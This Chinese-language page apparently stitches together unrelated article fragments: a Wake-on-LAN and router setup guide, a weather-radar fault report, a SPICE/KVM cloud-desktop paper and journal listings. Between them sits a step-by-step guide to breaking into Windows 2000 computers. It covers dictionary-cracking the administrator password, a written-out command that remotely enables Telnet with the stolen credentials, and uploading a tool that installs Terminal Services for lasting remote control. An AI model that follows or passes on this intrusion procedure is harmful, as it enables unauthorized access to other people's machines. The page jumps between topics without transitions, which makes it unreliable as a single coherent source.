那么MagicPacket(魔術(shù)包)是什么?其實(shí)這是一種包含有連續(xù)6個(gè)字節(jié)的“FF”和連續(xù)重復(fù)16次的MAC地址數(shù)據(jù)包。對(duì)于支持“Wake on Magic Packet”的網(wǎng)卡,如果它能夠接收到包含"FFFFFFFFFFFF"+連續(xù)重復(fù)16次的MAC地址的數(shù)據(jù)包,那么網(wǎng)卡就會(huì)自動(dòng)喚醒電腦(類似鼠標(biāo)開(kāi)機(jī),BIOS檢測(cè)到鼠標(biāo)移動(dòng)訊息后會(huì)喚醒電腦)。MagicPacket可以在其他遠(yuǎn)程電腦借助Magic Packet Utility、WakeOnLanGui等軟件發(fā)出,接收端則可以通過(guò)路由器實(shí)現(xiàn),這樣在路由器通過(guò)轉(zhuǎn)發(fā)端口映射到指定電腦,假設(shè)為機(jī)器A,這樣機(jī)器A的網(wǎng)卡收到MagicPacket數(shù)據(jù)包后就會(huì)喚醒電腦,這就是網(wǎng)卡遠(yuǎn)程開(kāi)機(jī)的原理(圖2)。
如上所述,被控開(kāi)機(jī)電腦假設(shè)為機(jī)器A要實(shí)現(xiàn)遠(yuǎn)程開(kāi)機(jī),關(guān)鍵是其網(wǎng)卡要能夠接收到遠(yuǎn)端電腦發(fā)出的包含"FFFFFFFFFFFF"+連續(xù)重復(fù)16次的MAC地址的數(shù)據(jù)包,因此需要在機(jī)器A上做如下設(shè)置。
其次遠(yuǎn)程喚醒還需要主板支持,首先需要查看主板是否支持Wake-up OnLAN(WOL)技術(shù),根據(jù)自己的主板說(shuō)明進(jìn)入BIOS設(shè)置,查看是否有類似“Wake Up On LAN”的選項(xiàng),將其值設(shè)置為“Enabled”,按F10保存退出(圖3)。
最后將本機(jī)內(nèi)網(wǎng)IP設(shè)置為固定地址,進(jìn)入網(wǎng)卡屬性設(shè)置窗口后,選擇“使用下面的IP地址”,按照自己的實(shí)際網(wǎng)絡(luò)環(huán)境設(shè)置好IP地址、子網(wǎng)掩碼、網(wǎng)關(guān)、DNS地址等信息(圖4)。
確保自己的網(wǎng)卡和主板支持遠(yuǎn)程喚醒后,接下來(lái)就要設(shè)置電腦網(wǎng)卡接收魔術(shù)包等信息。因?yàn)楝F(xiàn)在大部人的電腦都是處在路由器下的局域網(wǎng)內(nèi),因此要讓機(jī)器A的網(wǎng)卡能準(zhǔn)確接收到魔術(shù)包,還需要在路由器進(jìn)行如下設(shè)置(這里以TP-Link路由器為例)。
1 建立端口映射
展開(kāi)左側(cè)面板的“轉(zhuǎn)發(fā)規(guī)則虛擬服務(wù)器”,點(diǎn)擊“添加新條目”,在打開(kāi)的窗口添加一個(gè)新條目,服務(wù)器端口為77(可以任意設(shè)置,但是不要和其他默認(rèn)端口重復(fù)),內(nèi)部端口號(hào)留空,IP地址為上述設(shè)置的固定IP地址,協(xié)議為UDP,并使之處于“生效”狀態(tài)。這樣路由器收到魔術(shù)包后會(huì)轉(zhuǎn)發(fā)到192.168.1.115這臺(tái)電腦上,從而激活網(wǎng)卡遠(yuǎn)程喚醒功能(圖5)。
2 設(shè)置靜態(tài)IP
同上展開(kāi)右側(cè)面板“DHCP服務(wù)器靜態(tài)地址保留”,點(diǎn)擊增加新條目,MAC地址輸入本地網(wǎng)卡的地址,IP地址輸入上述設(shè)置的固定IP地址信息,狀態(tài)為“生效”,這樣在電腦啟動(dòng)后確保可以獲得192.168.1.115(圖6)。
3 啟動(dòng)DNS功能
因?yàn)楹芏嗉矣脤拵Ф际莿?dòng)態(tài)IP地址,這樣在其他電腦上向被控電腦發(fā)送魔術(shù)包時(shí)會(huì)帶來(lái)不便,可以使用一個(gè)動(dòng)態(tài)域名服務(wù),確保可以通過(guò)動(dòng)態(tài)域名訪問(wèn)路由器。切換到“動(dòng)態(tài)DNS”,然后注冊(cè)一個(gè)花生殼動(dòng)態(tài)域名服務(wù)即可。
完成上述的設(shè)置后,現(xiàn)在就可以在單位電腦使用“WakeOnLanGui”來(lái)進(jìn)行魔術(shù)包的發(fā)送。啟動(dòng)軟件后按提示輸入下列信息,點(diǎn)擊“喚醒”即可(圖7):
MAC地址:填寫(xiě)遠(yuǎn)程網(wǎng)絡(luò)喚醒的網(wǎng)卡MAC(具體地址信息可以通過(guò)在命令提示符輸入“ipconfig /all”獲得)
W址(IP):填寫(xiě)從花生殼獲取的動(dòng)態(tài)域名(可以直接填入本機(jī)外網(wǎng)IP地址,因?yàn)楸緳C(jī)外網(wǎng)IP只有重啟后才會(huì)變動(dòng),因此沒(méi)有動(dòng)態(tài)域名的用戶可以直接進(jìn)入路由器中查看,記住后路由器沒(méi)有重啟就可以一直使用)
子網(wǎng)掩碼:如果是通過(guò)互聯(lián)網(wǎng)(公網(wǎng)/外網(wǎng))喚醒,填寫(xiě)255.255.255.255
發(fā)送選項(xiàng):廣域網(wǎng)
[關(guān)鍵詞]密碼字典 Telnet 終端服務(wù)
一、引言
隨著網(wǎng)絡(luò)上計(jì)算機(jī)的使用量的不斷增加,越來(lái)越多的計(jì)算機(jī)用戶對(duì)如何成為黑客感興趣。由于現(xiàn)在許多的用戶使用的操作系統(tǒng)為Windows操作系統(tǒng),于是造成越來(lái)越多的黑客攻擊Windows操作系統(tǒng),這就給廣大的用戶提供了一個(gè)交流的平臺(tái),本文旨在通過(guò)一個(gè)完整的案例來(lái)說(shuō)明如何遠(yuǎn)程登錄到網(wǎng)絡(luò)上的某臺(tái)計(jì)算機(jī),實(shí)現(xiàn)遠(yuǎn)程控制及遠(yuǎn)程管理。本案例使用的工具軟件在Internet上都可以下載到,并且無(wú)需了解很多專業(yè)方面的知識(shí)就可以實(shí)現(xiàn)。當(dāng)然,如果目標(biāo)計(jì)算機(jī)上采取了一些安全措施,如安裝了一些專業(yè)的防火墻或殺毒軟件,則文中的大多數(shù)入侵工具則無(wú)用武之地了,因?yàn)榫W(wǎng)絡(luò)當(dāng)中的攻防技術(shù)都是相對(duì)來(lái)說(shuō)的。整個(gè)過(guò)程分別按照如下步驟進(jìn)行。
二、系統(tǒng)用戶掃描
可以使用工具軟件:GetNTUser,該工具可以在WIN NT4以及WIN 2000操作系統(tǒng)上使用,例如對(duì)IP為172.18.25.109的計(jì)算機(jī)進(jìn)行掃描,首先將該計(jì)算機(jī)添加到掃描列表中,選擇菜單File下的菜單項(xiàng)“添加主機(jī)”,輸入目標(biāo)計(jì)算機(jī)的IP地址。單擊工具欄上的圖標(biāo),可以得到對(duì)方的用戶列表。利用該工具可以對(duì)計(jì)算機(jī)上用戶進(jìn)行密碼破解,首先設(shè)置密碼字典,設(shè)置完密碼字典以后,將會(huì)用密碼字典里的每一個(gè)密碼對(duì)目標(biāo)用戶進(jìn)行測(cè)試,如果用戶的密碼在密碼字典中就可以破解出該密碼。選擇菜單欄工具下的菜單項(xiàng)“設(shè)置”,設(shè)置密碼字典為一個(gè)文本文件。利用密碼字典中的密碼進(jìn)行系統(tǒng)破解,選擇菜單欄工具下的菜單項(xiàng)“字典測(cè)試”,程序?qū)凑兆值涞脑O(shè)置進(jìn)行逐一的匹配。這樣我們就破解出了目標(biāo)計(jì)算機(jī)的管理員用戶的密碼。
三、遠(yuǎn)程啟動(dòng)Telnet服務(wù)
利用主機(jī)上的Telnet服務(wù),有管理員密碼就可以登錄到對(duì)方的命令行,進(jìn)而操作對(duì)方的文件系統(tǒng)。如果Telnet服務(wù)是關(guān)閉的,就不能登錄了。默認(rèn)情況下,Windows 2000 Server的Telnet是關(guān)閉的。利用工具RTCS.vbe可以遠(yuǎn)程開(kāi)啟對(duì)方的Telnet服務(wù),使用該工具需要知道對(duì)方具有管理員權(quán)限的用戶名和密碼。
命令的語(yǔ)法是:“cscript RTCS.vbe 172.18.25.109 administrator 123456 1 23”,
(1)其中cscript是操作系統(tǒng)自帶的命令
(2)RTCS.vbe是該工具軟件腳本文件
(3)IP地址是要啟動(dòng)Telnet的主機(jī)地址
(4)administrator是用戶名
(5)123456是密碼
(6)1是登錄系統(tǒng)的驗(yàn)證方式
(7)23是Telnet開(kāi)放的端口
執(zhí)行完成后,對(duì)方的Telnet服務(wù)就被開(kāi)啟了。在DOS提示符下,登錄目標(biāo)主機(jī)的Telnet服務(wù),首先輸入命令“Telnet 172.18.25.109”,因?yàn)門elnet的用戶名和密碼是明文傳遞的,首先出現(xiàn)確認(rèn)發(fā)送信息對(duì)話框。輸入字符“y”,進(jìn)入Telnet的登錄界面,需要輸入主機(jī)的用戶名和密碼。如果用戶名和密碼沒(méi)有錯(cuò)誤,將進(jìn)入對(duì)方主機(jī)的命令行。
四、在對(duì)方的命令行下開(kāi)啟對(duì)方的終端服務(wù)
大家此時(shí)會(huì)發(fā)現(xiàn),使用命令行的方式操縱別人的計(jì)算機(jī)很不方便,有沒(méi)有更好的方式來(lái)對(duì)遠(yuǎn)程的計(jì)算機(jī)進(jìn)行操作呢?有,那就是可以登錄到別人的計(jì)算機(jī)桌面來(lái)實(shí)現(xiàn)圖形化的操作。終端服務(wù)是Windows操作系統(tǒng)自帶的,可以遠(yuǎn)程通過(guò)圖形界面操縱計(jì)算機(jī)。在默認(rèn)的情況下終端服務(wù)的端口號(hào)是3389。可以在系統(tǒng)服務(wù)中查看終端服務(wù)是否啟動(dòng)。假設(shè)對(duì)方不僅沒(méi)有開(kāi)啟終端服務(wù),而且沒(méi)有安裝終端服務(wù)所需要的軟件。使用工具軟件djxyxs.exe,可以給對(duì)方安裝并開(kāi)啟該服務(wù)。在該工具軟件中已經(jīng)包含了安裝終端服務(wù)所需要的所有文件。將該文件上傳并拷貝到對(duì)方計(jì)算機(jī)的Winnt\\temp目錄下。由于我們前面已經(jīng)登錄到對(duì)方的命令行界面,故此我們只需使用copy命令將本機(jī)上的djxyxs.exe文件拷貝到對(duì)方的Winnt\\temp目錄下便可。然后執(zhí)行djxyxs.exe文件,該文件會(huì)自動(dòng)進(jìn)行解壓,將文件全部放置到當(dāng)前的目錄下,執(zhí)行命令查看當(dāng)前目錄下的文件列表。此時(shí)會(huì)發(fā)現(xiàn)生成了一個(gè)目錄I386,該目錄下放置了安裝終端服務(wù)所需要的文件。最后執(zhí)行當(dāng)前目錄下解壓出來(lái)的azzd.exe文件,將自動(dòng)在對(duì)方的計(jì)算機(jī)上安裝并啟動(dòng)終端服務(wù)。安裝完畢后,對(duì)方的服務(wù)器會(huì)自動(dòng)重啟,之后就可以使用終端服務(wù)連接軟件登錄對(duì)方的計(jì)算機(jī)了。
五、連接到對(duì)方的終端服務(wù)
利用Windows 2000自帶的終端服務(wù)工具:mstsc.exe。該工具可以在操作系統(tǒng)的安裝光盤(pán)中找到,將該工具放到自己的C:\\WINNT\\SYSTEM32中,接下來(lái)在“開(kāi)始―運(yùn)行”中輸入“mstsc.exe”便出現(xiàn)“終端服務(wù)客戶端”界面,在該界面中只要設(shè)置要連接主機(jī)的IP地址和連接桌面的分辨率就可以。如果目標(biāo)主機(jī)的終端服務(wù)是啟動(dòng)的,可以直接登錄到對(duì)方的桌面,在登錄框輸入用戶名和密碼就可以在圖形化界面操縱對(duì)方主機(jī)了。至此一個(gè)完整的網(wǎng)絡(luò)入侵過(guò)程便實(shí)現(xiàn)了。并可以非常簡(jiǎn)單的操作對(duì)方的計(jì)算機(jī)從而實(shí)現(xiàn)對(duì)目標(biāo)計(jì)算機(jī)的長(zhǎng)久控制。
六、結(jié)語(yǔ)
綜上步驟,我們可以很輕松的入侵沒(méi)有采取防范措施的計(jì)算機(jī),輕松的登錄對(duì)方的命令行或遠(yuǎn)程桌面系統(tǒng),當(dāng)然也可以實(shí)現(xiàn)對(duì)遠(yuǎn)程目標(biāo)主機(jī)的管理與故障維護(hù),大大的提高了我們的工作效率。
參考文獻(xiàn):
[1]楊義先.網(wǎng)絡(luò)安全理論與技術(shù).人民郵電出版社,2003.
關(guān)鍵詞:雷達(dá);回波;通訊
1 引言
3830A雷達(dá)為全相參體制的脈沖多普勒天氣雷達(dá),是通過(guò)發(fā)射高功率的微波脈沖信號(hào),借助于云、雨等氣象目標(biāo)的后向散射來(lái)檢測(cè)、分析和確定降水目標(biāo)信息的。佳木斯市氣象局新一代天氣雷達(dá)系統(tǒng)出現(xiàn)主微機(jī)回波強(qiáng)度變大,串口數(shù)據(jù)、接收模式消失,頻率和重復(fù)頻率自動(dòng)改動(dòng)的現(xiàn)象,下面就此現(xiàn)象處理做簡(jiǎn)要分析。
2 現(xiàn)象描述
2010年5月29日 18:50監(jiān)控微機(jī)正常,主微機(jī)速度回波不正常,接收模式顯示為空,頻率為5310MHz,接受模式改為正常,標(biāo)定曲線后恢復(fù)正常; 2010年7月14日 22:00―23:00監(jiān)控微機(jī)正常,主微機(jī)強(qiáng)度回波異常,重頻異常,接收模式設(shè)為正常,重頻設(shè)為900:600Hz后,恢復(fù)正常;8月21日8:49 監(jiān)控微機(jī)正常,主微機(jī)強(qiáng)度回波異常,強(qiáng)度明顯比監(jiān)控微機(jī)強(qiáng)度大,信號(hào)處理顯示“復(fù)位狀態(tài)”,接受模式為空,頻率5990MHz,接收;模式設(shè)為正常后,恢復(fù)正常。
3 工作流程
3830A雷達(dá)光纖通信系統(tǒng)的檢查和調(diào)整主要針對(duì)光端機(jī)插件板、復(fù)分接插件板和電話電路插件板進(jìn)行。此外,尚有兩塊穩(wěn)壓電源需檢查。
如圖中本地復(fù)接電路將三部分電信號(hào)復(fù)接為一路串行數(shù)據(jù)碼流,送往光端機(jī)。
三部分電信號(hào)是:(1)信號(hào)處理器輸出的原始探測(cè)數(shù)據(jù),包括回波強(qiáng)度、回波速度和譜寬數(shù)據(jù);(2)監(jiān)控分系統(tǒng)采集到的發(fā)射、接收、伺服、信號(hào)處理等分系統(tǒng)的工作狀態(tài)和故障信息;(3)局端電話板送出的三路電話(雷達(dá)主機(jī)室內(nèi)、天線轉(zhuǎn)臺(tái)內(nèi)和市話)的話音信息。本地分接電路則接收遠(yuǎn)端光端機(jī)經(jīng)光纖傳來(lái)的控制命令和電話話音信息,進(jìn)行分接處后,再按信號(hào)種類分別送往監(jiān)控分系統(tǒng)和局端電話板。
本地光端機(jī)將本地復(fù)接電路送來(lái)的串行數(shù)據(jù)碼流(電信號(hào))轉(zhuǎn)換為光信號(hào)送往光纜終端盒;將遠(yuǎn)端傳來(lái)的光信號(hào)轉(zhuǎn)換為電信號(hào)送往本地分接電路。
遠(yuǎn)端光端機(jī)將接收到的光信號(hào)轉(zhuǎn)換為電信號(hào),送往遠(yuǎn)端分接電路,再按信號(hào)種類分別送往主微機(jī)、監(jiān)控微機(jī)和遠(yuǎn)端電話板。主微機(jī)和監(jiān)控微機(jī)產(chǎn)生的操作控制和參數(shù)設(shè)置命令、遠(yuǎn)端電話板產(chǎn)生的電話話音信號(hào)在遠(yuǎn)端復(fù)接電路中復(fù)接為串行數(shù)據(jù)碼流,然后送遠(yuǎn)端光端機(jī)轉(zhuǎn)換為光信號(hào),經(jīng)遠(yuǎn)端終端盒、光纖向雷達(dá)主機(jī)室傳送。
4 故障判斷及分析
雷達(dá)主微機(jī)出現(xiàn)強(qiáng)度回波變大,串口數(shù)據(jù):接收模式消失,頻率和重復(fù)頻率自動(dòng)改動(dòng)的現(xiàn)象,經(jīng)重新設(shè)置接受模式后可恢復(fù)正常,而監(jiān)控微機(jī)沒(méi)有此現(xiàn)象。雷達(dá)主機(jī)室的光端機(jī)將復(fù)接電路送來(lái)的電信號(hào)轉(zhuǎn)換為光信號(hào)送往終端機(jī)房的光端機(jī),終端機(jī)房光端機(jī)將收到的光信號(hào)轉(zhuǎn)換為電信號(hào)送往終端機(jī)房的分接電路,分接給監(jiān)控微機(jī)和主微機(jī)。而只有主微機(jī)因傳輸信號(hào)的異常受到影響,監(jiān)控微機(jī)接收到的信號(hào)是正常的,可以判斷雷達(dá)機(jī)房的的信號(hào)傳輸正常,有以下幾種原因:(1)終端機(jī)房的復(fù)分接或光端機(jī)部分信號(hào)傳輸異常,導(dǎo)致信號(hào)傳輸錯(cuò)誤,致使主微機(jī)接收模式、頻率、重復(fù)頻率等設(shè)置自動(dòng)更改,強(qiáng)度回波、速度回波異常。更換終端機(jī)房的復(fù)分接板或光端機(jī)插件板。(2)數(shù)據(jù)采集卡的原因,更換數(shù)據(jù)采集卡如再出現(xiàn)此類現(xiàn)象表明位數(shù)據(jù)采集卡問(wèn)題,需更換數(shù)據(jù)采集卡。
5 故障的處理
由于復(fù)分解和光端機(jī)是較早的通訊設(shè)備,廠家已經(jīng)不生產(chǎn),現(xiàn)有的備件已經(jīng)不能滿足需求,所以我局向上級(jí)申請(qǐng)更換網(wǎng)絡(luò)版的通訊系統(tǒng)。在更換之前,做如下處理:將機(jī)房?jī)?nèi)連接光端機(jī)的串口直接連接到監(jiān)控微機(jī)的數(shù)據(jù)采集卡上,跳過(guò)光端機(jī)和復(fù)分接板,直接采集數(shù)據(jù)。監(jiān)控微機(jī)上安裝自動(dòng)開(kāi)機(jī)軟件,并開(kāi)啟遠(yuǎn)程桌面,在終端機(jī)房的主控微機(jī)上也安裝自動(dòng)開(kāi)機(jī)重啟軟件,并通過(guò)遠(yuǎn)程桌面連接到主控微機(jī),進(jìn)行操作。同時(shí),在雷達(dá)軟件上,設(shè)置成網(wǎng)絡(luò)分發(fā)模式進(jìn)行分發(fā)數(shù)據(jù)。這樣就拋開(kāi)原有的復(fù)分解光端機(jī)模式的光纖通信系統(tǒng)。這種傳輸方法比較穩(wěn)定,但單路的傳輸一旦出現(xiàn)故障,就只能更換備份計(jì)算機(jī)?,F(xiàn)已更換了網(wǎng)絡(luò)版光纖通訊系統(tǒng)。
6 總結(jié)
天氣雷達(dá)系統(tǒng)出現(xiàn)主微機(jī)回波強(qiáng)度變大,串口數(shù)據(jù):接收模式消失,頻率和重復(fù)頻率自動(dòng)改動(dòng)的現(xiàn)象,主要是信號(hào)傳輸出錯(cuò)產(chǎn)生的,最后判斷為終端機(jī)房部分的信號(hào)傳輸部件原因。由于此現(xiàn)象是不定時(shí)出現(xiàn),處理過(guò)后仍需繼續(xù)細(xì)心觀察,日常維護(hù)和巡視就尤其重要。
參考文獻(xiàn):
[1]新一代天氣雷達(dá)(CINRAD/CC)技術(shù)說(shuō)明書(shū)[K].安徽四創(chuàng)電子股份有限公司,2012(03).
關(guān)鍵字:云桌面;KVM;SPICE
中圖分類號(hào): TP311.5 文獻(xiàn)標(biāo)識(shí)碼:A 文章編號(hào):1672-3791(2016)10(c)-0000-00
1 引言
隨著2015年國(guó)家“互聯(lián)網(wǎng)+”行動(dòng)計(jì)劃的逐步實(shí)施,移動(dòng)互聯(lián)網(wǎng)、云計(jì)算和大數(shù)據(jù)等新技術(shù)的不斷推進(jìn),很多傳統(tǒng)的信息框架和觀念被淘汰或更新,國(guó)家信息化和現(xiàn)代化的發(fā)展日新月異。但是長(zhǎng)期以來(lái)一些信息化基礎(chǔ)設(shè)施的建設(shè)卻比較落后,尤其是傳統(tǒng)桌面終端的管理存在安全性差,設(shè)備不穩(wěn)定,維護(hù)成本較高等問(wèn)題,這些問(wèn)題不僅限制了人們的使用,也阻礙了信息化的發(fā)展。而以RDP、VNC和SPICE等技術(shù)為基礎(chǔ)的虛擬云桌面的發(fā)展將操作系統(tǒng)和應(yīng)用數(shù)據(jù)集中于數(shù)據(jù)中心統(tǒng)一管理,這種系統(tǒng)運(yùn)行方式的變革提升了數(shù)據(jù)的安全和用戶的體驗(yàn),有效的解決了傳統(tǒng)構(gòu)架帶來(lái)的復(fù)雜管理和高耗能等問(wèn)題,是未來(lái)桌面終端應(yīng)用發(fā)展的趨勢(shì)。
2 SPICE
2.1 協(xié)議簡(jiǎn)介
SPICE(Simple Protocol for independent Computing Environment,獨(dú)立計(jì)算環(huán)境的簡(jiǎn)單協(xié)議)是基于虛擬云桌面的一種虛擬化框架,也是一個(gè)桌面服務(wù)展示協(xié)議,與RDP(Remote Desktop Protocol,遠(yuǎn)程桌面協(xié)議)和VNC(Virtual Network Console,虛擬網(wǎng)絡(luò)控制臺(tái))類似。通過(guò)SPICE我們可以像使用本地計(jì)算機(jī)一樣訪問(wèn)遠(yuǎn)程PC,這樣可以將需要進(jìn)行高強(qiáng)度和長(zhǎng)時(shí)間計(jì)算的工作移交給數(shù)據(jù)中心服務(wù)器,有效的提高運(yùn)行效率,降低企業(yè)開(kāi)支,用戶身邊只要有可以上網(wǎng)的設(shè)備就可以方便的與遠(yuǎn)程虛擬桌面進(jìn)行交互,并且整個(gè)方案是開(kāi)源構(gòu)架的。
2.2 協(xié)議組件
作為REDHAT公司重要的虛擬化桌面組件之一,SPICE具有很強(qiáng)的自適應(yīng)能力,能夠讓用戶獲得與真實(shí)PC相同的體驗(yàn),它主要包含以下3個(gè)組件:
SPICE Driver(SPICE驅(qū)動(dòng)器):每個(gè)虛擬桌面都具備的基礎(chǔ)組件。
SPICE Device(SPICE設(shè)備):REDHAT企業(yè)虛擬化Hypervisor設(shè)備內(nèi)存在的組件。
SPICE Client(SPICE客戶端):終端組件,終端可以是個(gè)人電腦、平板電腦、瘦客戶端甚至是ipad等設(shè)備,用于接入虛擬桌面。
這三個(gè)組件相互協(xié)作運(yùn)行,以既能提高用戶體驗(yàn)又能降低系統(tǒng)資源消耗的方式提供最優(yōu)質(zhì)的虛擬桌面效果。如果客戶端足夠強(qiáng)大,SPICE可以向客戶端發(fā)送圖形命令,并在客舳碩醞夾謂行處理,這將顯著減輕服務(wù)器的資源消耗。如果客戶機(jī)不夠強(qiáng)大,SPICE在服務(wù)器端處理圖形,從CPU的角度來(lái)說(shuō),圖形處理并不需要消耗很多資源。
2.3 協(xié)議優(yōu)勢(shì)
目前虛擬云桌面協(xié)議主要有RDP、VNC與SPICE,通過(guò)對(duì)三者間的對(duì)比我們可以發(fā)現(xiàn),SPICE相比其他兩種協(xié)議在許多參數(shù)都占有較大的優(yōu)勢(shì),對(duì)比表格如下所示: 3 基于SPICE的虛擬云桌面解決方案
針對(duì)SPICE的技術(shù)特點(diǎn)和實(shí)際虛擬云桌面的使用需求,我們組建了一種綜合虛擬云桌面解決方案,在具體實(shí)驗(yàn)環(huán)境中由于設(shè)備的限制,方案設(shè)計(jì)采用兩次虛擬化的方式實(shí)現(xiàn)部署。
3.1 總體規(guī)劃
考慮到方案的穩(wěn)定性與可靠性,數(shù)據(jù)中心的服務(wù)器集群通過(guò)KVM(Kernel-based Virtual Machine,基于Kernel的虛擬機(jī))進(jìn)行虛擬化,并部署HA(High Available,高可用性)保證高可用性,在服務(wù)端和客戶端之間還應(yīng)該部署LB(load balance,負(fù)載均衡)設(shè)備保證高并發(fā)環(huán)境下系統(tǒng)的穩(wěn)定,解決方案如下圖1所示:
3.2 方案具體實(shí)施過(guò)程
為了驗(yàn)證虛擬云桌面方案的可行性,我們可以搭建一個(gè)實(shí)驗(yàn)環(huán)境進(jìn)行測(cè)試,實(shí)驗(yàn)環(huán)境至少需要一臺(tái)主機(jī),并在實(shí)驗(yàn)之前需要將設(shè)備主板BIOS中的硬件虛擬化功能打開(kāi),同時(shí)我們還需要可以支持兩次虛擬化的軟件,所以綜上所述我們實(shí)驗(yàn)環(huán)境至少需要一臺(tái)CPU性能至少為INTEL I5,內(nèi)存性能至少為8G的PC,虛擬化軟件選擇VMWare Workstation12。
實(shí)驗(yàn)環(huán)境要能反正解決方案中的結(jié)果需要經(jīng)過(guò)以下幾個(gè)步驟:
1) 在確保PC的VMware軟件正確安裝后,打開(kāi)軟件的虛擬化選項(xiàng),這是二次虛擬化非常重要的一步。由于我們的實(shí)驗(yàn)環(huán)境是在虛擬化軟件內(nèi)安裝CENTOS操作系統(tǒng),并在操作系統(tǒng)內(nèi)再安裝一個(gè)KVM虛擬化軟件,所以這需要我們的第一個(gè)虛擬化軟件支持兩次虛擬化功能。在VMware的虛擬機(jī)設(shè)置中找到虛擬化Intel VT-x/EPT或AMD-V/RVI選項(xiàng)并勾選。
2) 檢查內(nèi)核,安裝KVM和支持的API,最后驗(yàn)證KVM模塊。通過(guò)這幾個(gè)步驟我們可以校驗(yàn)KVM是否順利的安裝到了CENTOS系統(tǒng)中,主要執(zhí)行的代碼有以下5條:
3) 在CENTOS操作系統(tǒng)的圖形化界面中使用virt-manager在KVM中創(chuàng)建一個(gè)新的WINXP操作系統(tǒng)。這個(gè)創(chuàng)建過(guò)程和在VMware中創(chuàng)建CENTOS操作系統(tǒng)相似,在此就不詳細(xì)介紹。
4) 對(duì)KVM創(chuàng)建好的WINXP操作系統(tǒng)進(jìn)行設(shè)置。主要更改的選項(xiàng)有Display中的Type下拉菜單選擇SPICE協(xié)議,在Graphics中勾選Listen on all public network interfaces,端口號(hào)設(shè)置為5900,最后在Video中Model下拉菜單選擇qxl。
5) 在CENTOS操作系統(tǒng)中創(chuàng)建一個(gè)新的名為bridge的網(wǎng)卡,網(wǎng)卡參數(shù)與默認(rèn)的eth0相類似,在最后添加TYPE=“Bridge”即可,最后使用命令service network restart重新啟動(dòng)CENTOS的網(wǎng)絡(luò)連接。
6) 在安裝了SPICE客戶端的PC中通過(guò)端口5900,遠(yuǎn)程上WINXP操作系統(tǒng)。
完成試驗(yàn)后可以通過(guò)一系列的系統(tǒng)性能測(cè)試軟件對(duì)虛擬云桌面的系統(tǒng)性能進(jìn)行測(cè)試,這里就不做詳細(xì)介紹,從測(cè)試結(jié)果可以發(fā)現(xiàn),這種遠(yuǎn)程的連接性能與使用本地PC的性能相差無(wú)幾,可以說(shuō)做到了真正的云端資源本地化。
4 SPICE的未來(lái)
相信隨著虛擬化技術(shù)的不斷創(chuàng)新與完善,基于SPICE的虛擬云桌面技術(shù)將越來(lái)越好。未來(lái)我們可以直接借助對(duì)DirectX和API的操作實(shí)現(xiàn)一個(gè)虛擬視頻卡,加快CAD應(yīng)用和多媒體應(yīng)用,加快游戲畫(huà)面的切換并減少閃爍,3D加速性能也將得到很大的提高,在系統(tǒng)兼容性方面將不僅兼容傳統(tǒng)的PC與筆記本電腦,還將兼容智能手機(jī)及ipad等平板設(shè)備,實(shí)現(xiàn)真正的隨時(shí)隨地使用云桌面。
參考文獻(xiàn):
[1]朱愛(ài)軍 云桌面技術(shù)在學(xué)院公共機(jī)房改造中的應(yīng)用[J].信息通信,2016(3)
級(jí)別:CSSCI南大期刊
榮譽(yù):中國(guó)優(yōu)秀期刊遴選數(shù)據(jù)庫(kù)
級(jí)別:CSSCI南大期刊
榮譽(yù):中國(guó)優(yōu)秀期刊遴選數(shù)據(jù)庫(kù)
級(jí)別:CSSCI南大期刊
榮譽(yù):中國(guó)優(yōu)秀期刊遴選數(shù)據(jù)庫(kù)
級(jí)別:省級(jí)期刊
榮譽(yù):Caj-cd規(guī)范獲獎(jiǎng)期刊
級(jí)別:省級(jí)期刊
榮譽(yù):中國(guó)優(yōu)秀期刊遴選數(shù)據(jù)庫(kù)